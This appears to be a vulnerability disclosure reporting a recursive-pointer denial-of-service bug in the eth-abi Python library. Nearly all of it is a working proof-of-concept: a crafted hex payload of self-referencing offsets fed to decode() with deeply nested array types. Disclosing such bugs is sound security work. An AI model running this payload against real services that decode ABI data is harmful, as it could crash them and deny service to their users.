Details

eth-abi is vulnerable to recursive DoS This is related to recent ZST stuff (https://github.com/ethereum/eth-abi/security/advisories/GHSA-rqr8-pxh7-cq3g), but it's a different one. Basically a recursive pointer issue ```py from eth_abi import decode payload = "0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020" # OverflowError: Python int too large to convert to C ssize_t #decode(['(uint256[][][][][][][][][][])'], bytearray.fromhex(payload)) decode(['uint256[][][][][][][][][][]'], bytearray.fromhex(payload+('00' * 1024))) ```
